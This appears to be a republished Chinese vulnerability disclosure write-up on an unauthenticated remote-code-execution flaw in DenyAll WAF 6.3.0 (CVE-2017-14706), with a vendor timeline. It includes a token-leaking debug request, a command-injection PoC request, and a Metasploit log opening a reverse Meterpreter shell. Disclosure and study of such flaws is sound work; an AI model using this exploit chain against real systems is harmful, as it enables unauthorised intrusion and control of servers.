挖洞经验 | 看我如何发现DenyAll WAF未授权远程RCE漏洞

发表于:2017-11-16 10:30:23 来源:  FreeBuf.COM 阅读数(0人)



DenyAll WAF算是下一代应用安全的基础产品,它结合了易于配置的工作流程引擎和管理界面API,具有确保Web应用安全的成熟功能,而且包含了主动和被动安全性技术、关联特征、用户行为分析和即将升级的rWeb高级安全引擎,能有效保护Web应用程序并最大程度减少误报。而在本文中,我要展示的是我们团队发现的DenyAll WAF未授权RCE远程漏洞一枚(CVE-2017-14706)。


漏洞主要信息


远程利用: 是

授权需要: 否

漏洞涉及版本: 6.3.0

漏洞涉及架构: NodeJS、Kibana、PHP

漏洞涉及产品: DenyAll WAF

CVSSv3 评分: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

发现日期: 2017.6.30

漏洞细节


一开始,我通过了亚马逊的在线商城看到了关于DenyAll WAF的15天免费试用,所以我一步步注册之后就部署了这个产品。通过SSH key登录进入之后我发现其管理员接口是NodeJS的架构,所以首先我在其中查找登录过程代码:


var login = function login(req,res,next) {
    log.debug();
    if (!req.body) req.body = {};
    var data = {
        login:req.body.username || req.query.username,
        pass:req.body.password || req.query.password,
        readOnly:req.body.readOnly || req.query.readOnly || false,
        forceConnexion:req.body.forceConnexion || req.query.forceConnexion || true,
        clientIp: req.ip
    };
    // I OMITTED tHE CODE
    _xmlApiClient.request(opts, function(err, response) {
        // I OMITTED tHE CODE 
    },res);
};

从以上代码可知,貌似存在一个内部API用于NodeJS进行认证等操作,为了找到这个API,我继续来看_xmlApiClient相关代码,而在xmlApiClient.js文件中存在一个有意思的函数:


var xmlApiRequest = function xmlApirequest(opts, callback, res) {
    // ... CODE OMITTED ...
    var target = 'https://' + _config.xmlApi.host + ':' + _config.xmlApi.port + '/webservices/index.php?api=' + opts.api + '&function=' + opts.func;
    // ... CODE OMITTED ...
};

然后,我们开始收集更多关于该产品的有用信息,找到了其中的PHP API,其中还包括了来自配置文件的端口(3001)和主机(127.0.0.1)的变量:


"xmlApi": {
    "host": "127.0.0.1",
    "port": "3001",
    "guiVersionFile":"/etc/version.txt",
    "nodeId": null,
    "tcpTimeout":1000,
    "httpTimeout":300000
},

再对部署了DenyAll WAF的主机进行netstat监听后发现,其中的本机绑定端口监听列表中,竟然没有端口3001!


~ netstat -tnlp |grep -v '127\|::'
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 172.31.11.218:2222      0.0.0.0:*               LISTEN      -
tcp        0      0 172.31.11.218:22        0.0.0.0:*               LISTEN      -
tcp        0      0 172.31.11.218:3001      0.0.0.0:*               LISTEN      3866/actrld
tcp        0      0 172.31.11.218:3002      0.0.0.0:*               LISTEN      -

对PHP后端的滥用


在PHP服务端/webservices/download/index.php中也存在一段有意思的代码:


if($_REQUEST['typeOf']!='kdbImages' && $_REQUEST['typeOf']!='debug'){
  //validation jeton
  if(isset($_REQUEST['iToken'])){
    if($local->getIToken()!=$_REQUEST['iToken']){
      header('HTTP/1.1 403 Forbidden');
      exit(-1);
    }
  }else{
    if(isset($_REQUEST['tokenId'])){
      if(!API_validUid($_REQUEST['tokenId'])){
        header('HTTP/1.1 403 Forbidden');
        exit(-2);
      }
      $session = loadClass('sessions');
      if($session->searchUid($_REQUEST['tokenId'])===false){
        header('HTTP/1.1 403 Forbidden');
        exit(-3);
      }else{
        if(!isset($_REQUEST['forceNoRefresh'])){
          $session->refreshTimeSession($_REQUEST['tokenId']);
          $session->save();
        }
        unset($session);
      }
    }else{
      header('HTTP/1.1 403 Forbidden');
      exit(-2);
    }
  }
}

从以上这段代码可以看出,如果typeOf参数不是kdbImages或debug时,整个认证机制都将被绕过! 另外,从另外一段中还可发现,其中存在一个可被下载的debug.dat,而debug.dat中可能包含一些重要信息:


case 'debug' :
  $norealpath=false;
  $removeSrc=true;
  $compress=false;
  $removeDst=false;
  $autoDownload=true;
  if(!isset($_REQUEST['applianceUid'])){
    debug("download debug sans applianceUid");
    exit;
  }
  $applianceUid=$_REQUEST['applianceUid'];
  $src=downloadFile('debugInternal',$applianceUid,'debug.dat');
  $dst=$src=realpath($src);
  $fileNameDownload=basename($src);
  if(!is_readable($src)) exit;
  break;

而经过抓包测试,以下过程为debug.dat的下载请求连接流:


GET /webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug HTTP/1.1
Host: 52.28.216.170:3001
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
RESPONSE
HTTP/1.1 200 OK
Date: Fri, 30 Jun 2017 17:30:12 GMT
Server: Apache
Content-disposition: attachment; filename="debug.dat"
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 697
Pragma: public
Content-Type: application/vnd.nokia.n-gage.data
<?xml version="1.0" encoding="UTF-8"?>
<response status="-1">
  <error code="STACKTRACE"><arg string="1">Internal error</arg></error><line>
    <datetime>2017-06-30 17:30:12 (UTC)</datetime>
    <action></action>
    <function></function>
    <request>a:3:{s:6:"typeOf";s:13:"debugInternal";s:4:"file";s:9:"debug.dat";s:6:"iToken";s:32:"y760e0299ba6fc1a2739df5a8f64fc5a";}</request>
    <errornum>2</errornum>
    <errortype>Alerte</errortype>
    <errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg>
    <scriptname>/var/denyall/www-root/wsSource/class/filesClass.php</scriptname>
    <scriptlinenum>18</scriptlinenum>
    <memoryKbUsage>1280</memoryKbUsage>
</line>
</response>

其中的关键信息就是iToken,它用于DenyAll WAF应用的认证,所以这个关键的泄露给了我们进一步挖掘的欲望。


命令注入


其实,DenyAll WAF中存在多处命令注入,其中一处为/webservices/stream/tail.php,以下是其中的一段代码:


if(isset($_REQUEST['iToken'])){
  if($local->getIToken()!=$_REQUEST['iToken']){
    exitPrint(t_("Bad key, authentication on slave streaming server failed"));
  }
}else{
  exitPrint(t_("Authentication on slave streaming server failed"));
}
if(isset($_REQUEST['tag']) && $_REQUEST['tag']!=''){
  // on doit chercher le bon fichier
  if(isset($_REQUEST['stime'])&&$_REQUEST['stime']!=''){ // Start time version
    tailDateFile();
  }else{ // dernier fichier ouvert
    if($_REQUEST['tag']=='tunnel') $_REQUEST['file']=basename(shell_run("ls -1t ".__RP_LOG__."*/".$_REQUEST['uid']."/*-".$_REQUEST['type'].".log| head -n1 2>/dev/null"));
    else $_REQUEST['file']=$_REQUEST['uid'].'-'.$_REQUEST['type'].'.log';
  }
}

在iToken可被泄露的情况下,这里又出现了另一个函数tailDateFile(),以下是其具体代码:


function tailDateFile(){
  global $_REQUEST;
  $stime=(int)($_REQUEST['stime']/1000);
  $tag=$_REQUEST['tag'];
  $uid=$_REQUEST['uid'];
  $type=$_REQUEST['type']; // access or error
  chdir(__RP_LOG__);
  if($tag=='tunnel'){ // reverse proxy
    $files=shell_run("ls -1 */$uid/*-$type-*.log 2>/dev/null|sort")."\n"; // avec date trié au début
    $files.=shell_run("ls -1t */$uid/*-$type.log 2>/dev/null"); // courant trié par utilisation
  }else{
    $files=shell_run("ls -1 $uid-$type*-log 2>/dev/null|sort")."\n";
    $files.=shell_run("ls -1t $uid-$type.log 2>/dev/null");
  }
  // .. CODE OMITTED ..
}

从以上代码可以看到,$uid参数可被控制,而且它还是shell_run()函数变量的一部分。结合上述提及的这两方面问题,我们就能实现未授权命令注入漏洞。


PoC


通过HTTP请求触发远程RCE实现:


GET /webservices/stream/tail.php?iToken=y760e0299ba6fc1a2739df5a8f64fc5a&tag=tunnel&stime=aaa&type=aaa$(sleep%2030") HTTP/1.1
Host: 52.28.216.170:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: connect.sid=s%3AWGBO5SaeECriIG8z4SMjwilZgl7SM0ej.0hGC0CcXrwnoJLb4YucLi8lbr%2FC8f2TNIicG4EmFLFU
Connection: close
Upgrade-Insecure-Requests: 1

Metasploit反弹控制模块

https://github.com/rapid7/metasploit-framework/pull/8980
msf exploit(denyall_exec) > set RHOST 35.176.123.128                                                                                                  RHOST => 35.176.123.128                                                                                                                               msf exploit(denyall_exec) > set LHOST 35.12.3.3                                                                                                       LHOST => 35.12.3.3                                                                                                                                    msf exploit(denyall_exec) > check                                                                                                                     [*] 35.176.123.128:3001 The target appears to be vulnerable.                                                                                          msf exploit(denyall_exec) > exploit                                                                                                                                                                                                                                                                         [-] Handler failed to bind to 35.12.3.3:4444:-  -                                                                                                     [*] Started reverse TCP handler on 0.0.0.0:4444                                                                                                       [*] Extracting iToken value from unauthenticated accessible endpoint.                                                                                 [+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a                                                                                          [*] Trigerring command injection vulnerability with  iToken value.                                                                                    [*] Sending stage (40411 bytes) to 127.0.0.1                                                                                                          [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:60556) at 2017-09-19 14:31:52 +0300                                                                                                                                                                                                           meterpreter > pwd                                                                                                                                     /var/log/denyall/reverseproxy                                                                                                                         meterpreter > exit                                                                                                                                    [*] Shutting down Meterpreter...                                                                                                                                                                                                                                                                            [*] 172.31.11.218 - Meterpreter session 1 closed.  Reason: User exit                                                                                  msf exploit(denyall_exec) > exit                                                                                                                      ~ exit 

漏洞报送时间线


2017.6.30 21:33  发现漏洞

2017.6.30 22:37  DenyAll CTO与我们取得联系

2017.9.19        DenyAll发布更新版本

相关新闻

大家都在学

课程详情

WAF:ModSecurityonNginx

课程详情

WAF渗透攻防实践

课程详情

Web攻防实践